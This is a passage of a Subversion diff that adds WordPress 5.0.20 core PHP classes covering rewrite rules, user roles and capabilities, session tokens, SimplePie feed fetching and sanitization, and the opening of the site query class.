+	 *     @type bool $endpoints   Whether endpoints should be applied to the generated rules. Default true.
+	 * }
+	 */
+	public function add_permastruct( $name, $struct, $args = array() ) {
+		// Back-compat for the old parameters: $with_front and $ep_mask.
+		if ( ! is_array( $args ) )
+			$args = array( 'with_front' => $args );
+		if ( func_num_args() == 4 )
+			$args['ep_mask'] = func_get_arg( 3 );
+
+		$defaults = array(
+			'with_front' => true,
+			'ep_mask' => EP_NONE,
+			'paged' => true,
+			'feed' => true,
+			'forcomments' => false,
+			'walk_dirs' => true,
+			'endpoints' => true,
+		);
+		$args = array_intersect_key( $args, $defaults );
+		$args = wp_parse_args( $args, $defaults );
+
+		if ( $args['with_front'] )
+			$struct = $this->front . $struct;
+		else
+			$struct = $this->root . $struct;
+		$args['struct'] = $struct;
+
+		$this->extra_permastructs[ $name ] = $args;
+	}
+
+	/**
+	 * Removes a permalink structure.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param string $name Name for permalink structure.
+	 */
+	public function remove_permastruct( $name ) {
+		unset( $this->extra_permastructs[ $name ] );
+	}
+
+	/**
+	 * Removes rewrite rules and then recreate rewrite rules.
+	 *
+	 * Calls WP_Rewrite::wp_rewrite_rules() after removing the 'rewrite_rules' option.
+	 * If the function named 'save_mod_rewrite_rules' exists, it will be called.
+	 *
+	 * @since 2.0.1
+	 *
+	 * @staticvar bool $do_hard_later
+	 *
+	 * @param bool $hard Whether to update .htaccess (hard flush) or just update rewrite_rules option (soft flush). Default is true (hard).
+	 */
+	public function flush_rules( $hard = true ) {
+		static $do_hard_later = null;
+
+		// Prevent this action from running before everyone has registered their rewrites.
+		if ( ! did_action( 'wp_loaded' ) ) {
+			add_action( 'wp_loaded', array( $this, 'flush_rules' ) );
+			$do_hard_later = ( isset( $do_hard_later ) ) ? $do_hard_later || $hard : $hard;
+			return;
+		}
+
+		if ( isset( $do_hard_later ) ) {
+			$hard = $do_hard_later;
+			unset( $do_hard_later );
+		}
+
+		update_option( 'rewrite_rules', '' );
+		$this->wp_rewrite_rules();
+
+		/**
+		 * Filters whether a "hard" rewrite rule flush should be performed when requested.
+		 *
+		 * A "hard" flush updates .htaccess (Apache) or web.config (IIS).
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param bool $hard Whether to flush rewrite rules "hard". Default true.
+		 */
+		if ( ! $hard || ! apply_filters( 'flush_rewrite_rules_hard', true ) ) {
+			return;
+		}
+		if ( function_exists( 'save_mod_rewrite_rules' ) )
+			save_mod_rewrite_rules();
+		if ( function_exists( 'iis7_save_url_rewrite_rules' ) )
+			iis7_save_url_rewrite_rules();
+	}
+
+	/**
+	 * Sets up the object's properties.
+	 *
+	 * The 'use_verbose_page_rules' object property will be set to true if the
+	 * permalink structure begins with one of the following: '%postname%', '%category%',
+	 * '%tag%', or '%author%'.
+	 *
+	 * @since 1.5.0
+	 */
+	public function init() {
+		$this->extra_rules = $this->non_wp_rules = $this->endpoints = array();
+		$this->permalink_structure = get_option('permalink_structure');
+		$this->front = substr($this->permalink_structure, 0, strpos($this->permalink_structure, '%'));
+		$this->root = '';
+
+		if ( $this->using_index_permalinks() )
+			$this->root = $this->index . '/';
+
+		unset($this->author_structure);
+		unset($this->date_structure);
+		unset($this->page_structure);
+		unset($this->search_structure);
+		unset($this->feed_structure);
+		unset($this->comment_feed_structure);
+		$this->use_trailing_slashes = ( '/' == substr($this->permalink_structure, -1, 1) );
+
+		// Enable generic rules for pages if permalink structure doesn't begin with a wildcard.
+		if ( preg_match("/^[^%]*%(?:postname|category|tag|author)%/", $this->permalink_structure) )
+			 $this->use_verbose_page_rules = true;
+		else
+			$this->use_verbose_page_rules = false;
+	}
+
+	/**
+	 * Sets the main permalink structure for the site.
+	 *
+	 * Will update the 'permalink_structure' option, if there is a difference
+	 * between the current permalink structure and the parameter value. Calls
+	 * WP_Rewrite::init() after the option is updated.
+	 *
+	 * Fires the {@see 'permalink_structure_changed'} action once the init call has
+	 * processed passing the old and new values
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $permalink_structure Permalink structure.
+	 */
+	public function set_permalink_structure($permalink_structure) {
+		if ( $permalink_structure != $this->permalink_structure ) {
+			$old_permalink_structure = $this->permalink_structure;
+			update_option('permalink_structure', $permalink_structure);
+
+			$this->init();
+
+			/**
+			 * Fires after the permalink structure is updated.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param string $old_permalink_structure The previous permalink structure.
+			 * @param string $permalink_structure     The new permalink structure.
+			 */
+			do_action( 'permalink_structure_changed', $old_permalink_structure, $permalink_structure );
+		}
+	}
+
+	/**
+	 * Sets the category base for the category permalink.
+	 *
+	 * Will update the 'category_base' option, if there is a difference between
+	 * the current category base and the parameter value. Calls WP_Rewrite::init()
+	 * after the option is updated.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $category_base Category permalink structure base.
+	 */
+	public function set_category_base($category_base) {
+		if ( $category_base != get_option('category_base') ) {
+			update_option('category_base', $category_base);
+			$this->init();
+		}
+	}
+
+	/**
+	 * Sets the tag base for the tag permalink.
+	 *
+	 * Will update the 'tag_base' option, if there is a difference between the
+	 * current tag base and the parameter value. Calls WP_Rewrite::init() after
+	 * the option is updated.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $tag_base Tag permalink structure base.
+	 */
+	public function set_tag_base( $tag_base ) {
+		if ( $tag_base != get_option( 'tag_base') ) {
+			update_option( 'tag_base', $tag_base );
+			$this->init();
+		}
+	}
+
+	/**
+	 * Constructor - Calls init(), which runs setup.
+	 *
+	 * @since 1.5.0
+	 *
+	 */
+	public function __construct() {
+		$this->init();
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-role.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-role.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-role.php	(revision 56912)
@@ -0,0 +1,109 @@
+<?php
+/**
+ * User API: WP_Role class
+ *
+ * @package WordPress
+ * @subpackage Users
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to extend the user roles API.
+ *
+ * @since 2.0.0
+ */
+class WP_Role {
+	/**
+	 * Role name.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	public $name;
+
+	/**
+	 * List of capabilities the role contains.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	public $capabilities;
+
+	/**
+	 * Constructor - Set up object properties.
+	 *
+	 * The list of capabilities, must have the key as the name of the capability
+	 * and the value a boolean of whether it is granted to the role.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $role Role name.
+	 * @param array $capabilities List of capabilities.
+	 */
+	public function __construct( $role, $capabilities ) {
+		$this->name = $role;
+		$this->capabilities = $capabilities;
+	}
+
+	/**
+	 * Assign role a capability.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $cap Capability name.
+	 * @param bool $grant Whether role has capability privilege.
+	 */
+	public function add_cap( $cap, $grant = true ) {
+		$this->capabilities[$cap] = $grant;
+		wp_roles()->add_cap( $this->name, $cap, $grant );
+	}
+
+	/**
+	 * Removes a capability from a role.
+	 *
+	 * This is a container for WP_Roles::remove_cap() to remove the
+	 * capability from the role. That is to say, that WP_Roles::remove_cap()
+	 * implements the functionality, but it also makes sense to use this class,
+	 * because you don't need to enter the role name.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $cap Capability name.
+	 */
+	public function remove_cap( $cap ) {
+		unset( $this->capabilities[$cap] );
+		wp_roles()->remove_cap( $this->name, $cap );
+	}
+
+	/**
+	 * Determines whether the role has the given capability.
+	 *
+	 * The capabilities is passed through the {@see 'role_has_cap'} filter.
+	 * The first parameter for the hook is the list of capabilities the class
+	 * has assigned. The second parameter is the capability name to look for.
+	 * The third and final parameter for the hook is the role name.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $cap Capability name.
+	 * @return bool True if the role has the given capability. False otherwise.
+	 */
+	public function has_cap( $cap ) {
+		/**
+		 * Filters which capabilities a role has.
+		 *
+		 * @since 2.0.0
+		 *
+		 * @param array  $capabilities Array of role capabilities.
+		 * @param string $cap          Capability name.
+		 * @param string $name         Role name.
+		 */
+		$capabilities = apply_filters( 'role_has_cap', $this->capabilities, $cap, $this->name );
+
+		if ( !empty( $capabilities[$cap] ) )
+			return $capabilities[$cap];
+		else
+			return false;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-roles.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-roles.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-roles.php	(revision 56912)
@@ -0,0 +1,361 @@
+<?php
+/**
+ * User API: WP_Roles class
+ *
+ * @package WordPress
+ * @subpackage Users
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement a user roles API.
+ *
+ * The role option is simple, the structure is organized by role name that store
+ * the name in value of the 'name' key. The capabilities are stored as an array
+ * in the value of the 'capability' key.
+ *
+ *     array (
+ *    		'rolename' => array (
+ *    			'name' => 'rolename',
+ *    			'capabilities' => array()
+ *    		)
+ *     )
+ *
+ * @since 2.0.0
+ */
+class WP_Roles {
+	/**
+	 * List of roles and capabilities.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	public $roles;
+
+	/**
+	 * List of the role objects.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	public $role_objects = array();
+
+	/**
+	 * List of role names.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	public $role_names = array();
+
+	/**
+	 * Option name for storing role list.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	public $role_key;
+
+	/**
+	 * Whether to use the database for retrieval and storage.
+	 *
+	 * @since 2.1.0
+	 * @var bool
+	 */
+	public $use_db = true;
+
+	/**
+	 * The site ID the roles are initialized for.
+	 *
+	 * @since 4.9.0
+	 * @var int
+	 */
+	protected $site_id = 0;
+
+	/**
+	 * Constructor
+	 *
+	 * @since 2.0.0
+	 * @since 4.9.0 The $site_id argument was added.
+	 *
+	 * @global array $wp_user_roles Used to set the 'roles' property value.
+	 *
+	 * @param int $site_id Site ID to initialize roles for. Default is the current site.
+	 */
+	public function __construct( $site_id = null ) {
+		global $wp_user_roles;
+
+		$this->use_db = empty( $wp_user_roles );
+
+		$this->for_site( $site_id );
+	}
+
+	/**
+	 * Make private/protected methods readable for backward compatibility.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|false Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		if ( '_init' === $name ) {
+			return call_user_func_array( array( $this, $name ), $arguments );
+		}
+		return false;
+	}
+
+	/**
+	 * Set up the object properties.
+	 *
+	 * The role key is set to the current prefix for the $wpdb object with
+	 * 'user_roles' appended. If the $wp_user_roles global is set, then it will
+	 * be used and the role option will not be updated or used.
+	 *
+	 * @since 2.1.0
+	 * @deprecated 4.9.0 Use WP_Roles::for_site()
+	 */
+	protected function _init() {
+		_deprecated_function( __METHOD__, '4.9.0', 'WP_Roles::for_site()' );
+
+		$this->for_site();
+	}
+
+	/**
+	 * Reinitialize the object
+	 *
+	 * Recreates the role objects. This is typically called only by switch_to_blog()
+	 * after switching wpdb to a new site ID.
+	 *
+	 * @since 3.5.0
+	 * @deprecated 4.7.0 Use WP_Roles::for_site()
+	 */
+	public function reinit() {
+		_deprecated_function( __METHOD__, '4.7.0', 'WP_Roles::for_site()' );
+
+		$this->for_site();
+	}
+
+	/**
+	 * Add role name with capabilities to list.
+	 *
+	 * Updates the list of roles, if the role doesn't already exist.
+	 *
+	 * The capabilities are defined in the following format `array( 'read' => true );`
+	 * To explicitly deny a role a capability you set the value for that capability to false.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $role Role name.
+	 * @param string $display_name Role display name.
+	 * @param array $capabilities List of role capabilities in the above format.
+	 * @return WP_Role|void WP_Role object, if role is added.
+	 */
+	public function add_role( $role, $display_name, $capabilities = array() ) {
+		if ( empty( $role ) || isset( $this->roles[ $role ] ) ) {
+			return;
+		}
+
+		$this->roles[$role] = array(
+			'name' => $display_name,
+			'capabilities' => $capabilities
+			);
+		if ( $this->use_db )
+			update_option( $this->role_key, $this->roles );
+		$this->role_objects[$role] = new WP_Role( $role, $capabilities );
+		$this->role_names[$role] = $display_name;
+		return $this->role_objects[$role];
+	}
+
+	/**
+	 * Remove role by name.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $role Role name.
+	 */
+	public function remove_role( $role ) {
+		if ( ! isset( $this->role_objects[$role] ) )
+			return;
+
+		unset( $this->role_objects[$role] );
+		unset( $this->role_names[$role] );
+		unset( $this->roles[$role] );
+
+		if ( $this->use_db )
+			update_option( $this->role_key, $this->roles );
+
+		if ( get_option( 'default_role' ) == $role )
+			update_option( 'default_role', 'subscriber' );
+	}
+
+	/**
+	 * Add capability to role.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $role Role name.
+	 * @param string $cap Capability name.
+	 * @param bool $grant Optional, default is true. Whether role is capable of performing capability.
+	 */
+	public function add_cap( $role, $cap, $grant = true ) {
+		if ( ! isset( $this->roles[$role] ) )
+			return;
+
+		$this->roles[$role]['capabilities'][$cap] = $grant;
+		if ( $this->use_db )
+			update_option( $this->role_key, $this->roles );
+	}
+
+	/**
+	 * Remove capability from role.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $role Role name.
+	 * @param string $cap Capability name.
+	 */
+	public function remove_cap( $role, $cap ) {
+		if ( ! isset( $this->roles[$role] ) )
+			return;
+
+		unset( $this->roles[$role]['capabilities'][$cap] );
+		if ( $this->use_db )
+			update_option( $this->role_key, $this->roles );
+	}
+
+	/**
+	 * Retrieve role object by name.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $role Role name.
+	 * @return WP_Role|null WP_Role object if found, null if the role does not exist.
+	 */
+	public function get_role( $role ) {
+		if ( isset( $this->role_objects[$role] ) )
+			return $this->role_objects[$role];
+		else
+			return null;
+	}
+
+	/**
+	 * Retrieve list of role names.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @return array List of role names.
+	 */
+	public function get_names() {
+		return $this->role_names;
+	}
+
+	/**
+	 * Whether role name is currently in the list of available roles.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $role Role name to look up.
+	 * @return bool
+	 */
+	public function is_role( $role ) {
+		return isset( $this->role_names[$role] );
+	}
+
+	/**
+	 * Initializes all of the available roles.
+	 *
+	 * @since 4.9.0
+	 */
+	public function init_roles() {
+		if ( empty( $this->roles ) ) {
+			return;
+		}
+
+		$this->role_objects = array();
+		$this->role_names =  array();
+		foreach ( array_keys( $this->roles ) as $role ) {
+			$this->role_objects[ $role ] = new WP_Role( $role, $this->roles[ $role ]['capabilities'] );
+			$this->role_names[ $role ] = $this->roles[ $role ]['name'];
+		}
+
+		/**
+		 * After the roles have been initialized, allow plugins to add their own roles.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_Roles $this A reference to the WP_Roles object.
+		 */
+		do_action( 'wp_roles_init', $this );
+	}
+
+	/**
+	 * Sets the site to operate on. Defaults to the current site.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @global wpdb $wpdb WordPress database abstraction object.
+	 *
+	 * @param int $site_id Site ID to initialize roles for. Default is the current site.
+	 */
+	public function for_site( $site_id = null ) {
+		global $wpdb;
+
+		if ( ! empty( $site_id ) ) {
+			$this->site_id = absint( $site_id );
+		} else {
+			$this->site_id = get_current_blog_id();
+		}
+
+		$this->role_key = $wpdb->get_blog_prefix( $this->site_id ) . 'user_roles';
+
+		if ( ! empty( $this->roles ) && ! $this->use_db ) {
+			return;
+		}
+
+		$this->roles = $this->get_roles_data();
+
+		$this->init_roles();
+	}
+
+	/**
+	 * Gets the ID of the site for which roles are currently initialized.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @return int Site ID.
+	 */
+	public function get_site_id() {
+		return $this->site_id;
+	}
+
+	/**
+	 * Gets the available roles data.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @global array $wp_user_roles Used to set the 'roles' property value.
+	 *
+	 * @return array Roles array.
+	 */
+	protected function get_roles_data() {
+		global $wp_user_roles;
+
+		if ( ! empty( $wp_user_roles ) ) {
+			return $wp_user_roles;
+		}
+
+		if ( is_multisite() && $this->site_id != get_current_blog_id() ) {
+			remove_action( 'switch_blog', 'wp_switch_roles_and_user', 1 );
+
+			$roles = get_blog_option( $this->site_id, $this->role_key, array() );
+
+			add_action( 'switch_blog', 'wp_switch_roles_and_user', 1, 2 );
+
+			return $roles;
+		}
+
+		return get_option( $this->role_key, array() );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-session-tokens.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-session-tokens.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-session-tokens.php	(revision 56912)
@@ -0,0 +1,300 @@
+<?php
+/**
+ * Session API: WP_Session_Tokens class
+ *
+ * @package WordPress
+ * @subpackage Session
+ * @since 4.7.0
+ */
+
+/**
+ * Abstract class for managing user session tokens.
+ *
+ * @since 4.0.0
+ */
+abstract class WP_Session_Tokens {
+
+	/**
+	 * User ID.
+	 *
+	 * @since 4.0.0
+	 * @var int User ID.
+	 */
+	protected $user_id;
+
+	/**
+	 * Protected constructor.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param int $user_id User whose session to manage.
+	 */
+	protected function __construct( $user_id ) {
+		$this->user_id = $user_id;
+	}
+
+	/**
+	 * Retrieves a session token manager instance for a user.
+	 *
+	 * This method contains a {@see 'session_token_manager'} filter, allowing a plugin to swap out
+	 * the session manager for a subclass of `WP_Session_Tokens`.
+	 *
+	 * @since 4.0.0
+	 * @static
+	 *
+	 * @param int $user_id User whose session to manage.
+	 * @return WP_User_Meta_Session_Tokens WP_User_Meta_Session_Tokens class instance by default.
+	 */
+	final public static function get_instance( $user_id ) {
+		/**
+		 * Filters the session token manager used.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param string $session Name of class to use as the manager.
+		 *                        Default 'WP_User_Meta_Session_Tokens'.
+		 */
+		$manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' );
+		return new $manager( $user_id );
+	}
+
+	/**
+	 * Hashes a session token for storage.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $token Session token to hash.
+	 * @return string A hash of the session token (a verifier).
+	 */
+	final private function hash_token( $token ) {
+		// If ext/hash is not present, use sha1() instead.
+		if ( function_exists( 'hash' ) ) {
+			return hash( 'sha256', $token );
+		} else {
+			return sha1( $token );
+		}
+	}
+
+	/**
+	 * Get a user's session.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $token Session token
+	 * @return array User session
+	 */
+	final public function get( $token ) {
+		$verifier = $this->hash_token( $token );
+		return $this->get_session( $verifier );
+	}
+
+	/**
+	 * Validate a user's session token as authentic.
+	 *
+	 * Checks that the given token is present and hasn't expired.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $token Token to verify.
+	 * @return bool Whether the token is valid for the user.
+	 */
+	final public function verify( $token ) {
+		$verifier = $this->hash_token( $token );
+		return (bool) $this->get_session( $verifier );
+	}
+
+	/**
+	 * Generate a session token and attach session information to it.
+	 *
+	 * A session token is a long, random string. It is used in a cookie
+	 * link that cookie to an expiration time and to ensure the cookie
+	 * becomes invalidated upon logout.
+	 *
+	 * This function generates a token and stores it with the associated
+	 * expiration time (and potentially other session information via the
+	 * {@see 'attach_session_information'} filter).
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param int $expiration Session expiration timestamp.
+	 * @return string Session token.
+	 */
+	final public function create( $expiration ) {
+		/**
+		 * Filters the information attached to the newly created session.
+		 *
+		 * Could be used in the future to attach information such as
+		 * IP address or user agent to a session.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param array $session Array of extra data.
+		 * @param int   $user_id User ID.
+		 */
+		$session = apply_filters( 'attach_session_information', array(), $this->user_id );
+		$session['expiration'] = $expiration;
+
+		// IP address.
+		if ( !empty( $_SERVER['REMOTE_ADDR'] ) ) {
+			$session['ip'] = $_SERVER['REMOTE_ADDR'];
+		}
+
+		// User-agent.
+		if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
+			$session['ua'] = wp_unslash( $_SERVER['HTTP_USER_AGENT'] );
+		}
+
+		// Timestamp
+		$session['login'] = time();
+
+		$token = wp_generate_password( 43, false, false );
+
+		$this->update( $token, $session );
+
+		return $token;
+	}
+
+	/**
+	 * Update a session token.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $token Session token to update.
+	 * @param array  $session Session information.
+	 */
+	final public function update( $token, $session ) {
+		$verifier = $this->hash_token( $token );
+		$this->update_session( $verifier, $session );
+	}
+
+	/**
+	 * Destroy a session token.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $token Session token to destroy.
+	 */
+	final public function destroy( $token ) {
+		$verifier = $this->hash_token( $token );
+		$this->update_session( $verifier, null );
+	}
+
+	/**
+	 * Destroy all session tokens for this user,
+	 * except a single token, presumably the one in use.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $token_to_keep Session token to keep.
+	 */
+	final public function destroy_others( $token_to_keep ) {
+		$verifier = $this->hash_token( $token_to_keep );
+		$session = $this->get_session( $verifier );
+		if ( $session ) {
+			$this->destroy_other_sessions( $verifier );
+		} else {
+			$this->destroy_all_sessions();
+		}
+	}
+
+	/**
+	 * Determine whether a session token is still valid,
+	 * based on expiration.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param array $session Session to check.
+	 * @return bool Whether session is valid.
+	 */
+	final protected function is_still_valid( $session ) {
+		return $session['expiration'] >= time();
+	}
+
+	/**
+	 * Destroy all session tokens for a user.
+	 *
+	 * @since 4.0.0
+	 */
+	final public function destroy_all() {
+		$this->destroy_all_sessions();
+	}
+
+	/**
+	 * Destroy all session tokens for all users.
+	 *
+	 * @since 4.0.0
+	 * @static
+	 */
+	final public static function destroy_all_for_all_users() {
+		/** This filter is documented in wp-includes/class-wp-session-tokens.php */
+		$manager = apply_filters( 'session_token_manager', 'WP_User_Meta_Session_Tokens' );
+		call_user_func( array( $manager, 'drop_sessions' ) );
+	}
+
+	/**
+	 * Retrieve all sessions of a user.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array Sessions of a user.
+	 */
+	final public function get_all() {
+		return array_values( $this->get_sessions() );
+	}
+
+	/**
+	 * This method should retrieve all sessions of a user, keyed by verifier.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return array Sessions of a user, keyed by verifier.
+	 */
+	abstract protected function get_sessions();
+
+	/**
+	 * This method should look up a session by its verifier (token hash).
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $verifier Verifier of the session to retrieve.
+	 * @return array|null The session, or null if it does not exist.
+	 */
+	abstract protected function get_session( $verifier );
+
+	/**
+	 * This method should update a session by its verifier.
+	 *
+	 * Omitting the second argument should destroy the session.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $verifier Verifier of the session to update.
+	 * @param array  $session  Optional. Session. Omitting this argument destroys the session.
+	 */
+	abstract protected function update_session( $verifier, $session = null );
+
+	/**
+	 * This method should destroy all session tokens for this user,
+	 * except a single session passed.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $verifier Verifier of the session to keep.
+	 */
+	abstract protected function destroy_other_sessions( $verifier );
+
+	/**
+	 * This method should destroy all sessions for a user.
+	 *
+	 * @since 4.0.0
+	 */
+	abstract protected function destroy_all_sessions();
+
+	/**
+	 * This static method should destroy all session tokens for all users.
+	 *
+	 * @since 4.0.0
+	 * @static
+	 */
+	public static function drop_sessions() {}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-simplepie-file.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-simplepie-file.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-simplepie-file.php	(revision 56912)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * Feed API: WP_SimplePie_File class
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 4.7.0
+ */
+
+/**
+ * Core class for fetching remote files and reading local files with SimplePie.
+ *
+ * @since 2.8.0
+ *
+ * @see SimplePie_File
+ */
+class WP_SimplePie_File extends SimplePie_File {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 2.8.0
+	 * @since 3.2.0 Updated to use a PHP5 constructor.
+	 *
+	 * @param string       $url             Remote file URL.
+	 * @param integer      $timeout         Optional. How long the connection should stay open in seconds.
+	 *                                      Default 10.
+	 * @param integer      $redirects       Optional. The number of allowed redirects. Default 5.
+	 * @param string|array $headers         Optional. Array or string of headers to send with the request.
+	 *                                      Default null.
+	 * @param string       $useragent       Optional. User-agent value sent. Default null.
+	 * @param boolean      $force_fsockopen Optional. Whether to force opening internet or unix domain socket
+	 *                                      connection or not. Default false.
+	 */
+	public function __construct($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false) {
+		$this->url = $url;
+		$this->timeout = $timeout;
+		$this->redirects = $redirects;
+		$this->headers = $headers;
+		$this->useragent = $useragent;
+
+		$this->method = SIMPLEPIE_FILE_SOURCE_REMOTE;
+
+		if ( preg_match('/^http(s)?:\/\//i', $url) ) {
+			$args = array(
+				'timeout' => $this->timeout,
+				'redirection' => $this->redirects,
+			);
+
+			if ( !empty($this->headers) )
+				$args['headers'] = $this->headers;
+
+			if ( SIMPLEPIE_USERAGENT != $this->useragent ) //Use default WP user agent unless custom has been specified
+				$args['user-agent'] = $this->useragent;
+
+			$res = wp_safe_remote_request($url, $args);
+
+			if ( is_wp_error($res) ) {
+				$this->error = 'WP HTTP Error: ' . $res->get_error_message();
+				$this->success = false;
+			} else {
+				$this->headers = wp_remote_retrieve_headers( $res );
+				$this->body = wp_remote_retrieve_body( $res );
+				$this->status_code = wp_remote_retrieve_response_code( $res );
+			}
+		} else {
+			$this->error = '';
+			$this->success = false;
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-simplepie-sanitize-kses.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-simplepie-sanitize-kses.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-simplepie-sanitize-kses.php	(revision 56912)
@@ -0,0 +1,58 @@
+<?php
+/**
+ * Feed API: WP_SimplePie_Sanitize_KSES class
+ *
+ * @package WordPress
+ * @subpackage Feed
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used to implement SimpliePie feed sanitization.
+ *
+ * Extends the SimplePie_Sanitize class to use KSES, because
+ * we cannot universally count on DOMDocument being available.
+ *
+ * @since 3.5.0
+ *
+ * @see SimplePie_Sanitize
+ */
+class WP_SimplePie_Sanitize_KSES extends SimplePie_Sanitize {
+
+	/**
+	 * WordPress SimplePie sanitization using KSES.
+	 *
+	 * Sanitizes the incoming data, to ensure that it matches the type of data expected, using KSES.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param mixed   $data The data that needs to be sanitized.
+	 * @param integer $type The type of data that it's supposed to be.
+	 * @param string  $base Optional. The `xml:base` value to use when converting relative
+	 *                      URLs to absolute ones. Default empty.
+	 * @return mixed Sanitized data.
+	 */
+	public function sanitize( $data, $type, $base = '' ) {
+		$data = trim( $data );
+		if ( $type & SIMPLEPIE_CONSTRUCT_MAYBE_HTML ) {
+			if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>)/', $data)) {
+				$type |= SIMPLEPIE_CONSTRUCT_HTML;
+			}
+			else {
+				$type |= SIMPLEPIE_CONSTRUCT_TEXT;
+			}
+		}
+		if ( $type & SIMPLEPIE_CONSTRUCT_BASE64 ) {
+			$data = base64_decode( $data );
+		}
+		if ( $type & ( SIMPLEPIE_CONSTRUCT_HTML | SIMPLEPIE_CONSTRUCT_XHTML ) ) {
+			$data = wp_kses_post( $data );
+			if ( $this->output_encoding !== 'UTF-8' ) {
+				$data = $this->registry->call( 'Misc', 'change_encoding', array( $data, 'UTF-8', $this->output_encoding ) );
+			}
+			return $data;
+		} else {
+			return parent::sanitize( $data, $type, $base );
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-site-query.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-site-query.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-site-query.php	(revision 56912)
@@ -0,0 +1,704 @@
+<?php
+/**
+ * Site API: WP_Site_Query class
+ *
+ * @package WordPress
+ * @subpackage Sites
+ * @since 4.6.0
+ */
+
+/**
+ * Core class used for querying sites.
+ *
+ * @since 4.6.0
+ *
+ * @see WP_Site_Query::__construct() for accepted arguments.
+ */
+class WP_Site_Query {
+
+	/**
+	 * SQL for database query.
+	 *
+	 * @since 4.6.0
+	 * @var string
+	 */
+	public $request;
+
+	/**
+	 * SQL query clauses.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 */
+	protected $sql_clauses = array(
+		'select'  => '',
+		'from'    => '',
+		'where'   => array(),
+		'groupby' => '',
+		'orderby' => '',
+		'limits'  => '',
+	);
+
+	/**
+	 * Date query container.
+	 *
+	 * @since 4.6.0
+	 * @var object WP_Date_Query
+	 */
+	public $date_query = false;
+
+	/**
+	 * Query vars set by the user.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 */
+	public $query_vars;
+
+	/**
+	 * Default values for query vars.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 */
+	public $query_var_defaults;
+
+	/**
+	 * List of sites located by the query.
+	 *
+	 * @since 4.6.0
+	 * @var array
+	 */
+	public $sites;
+
+	/**
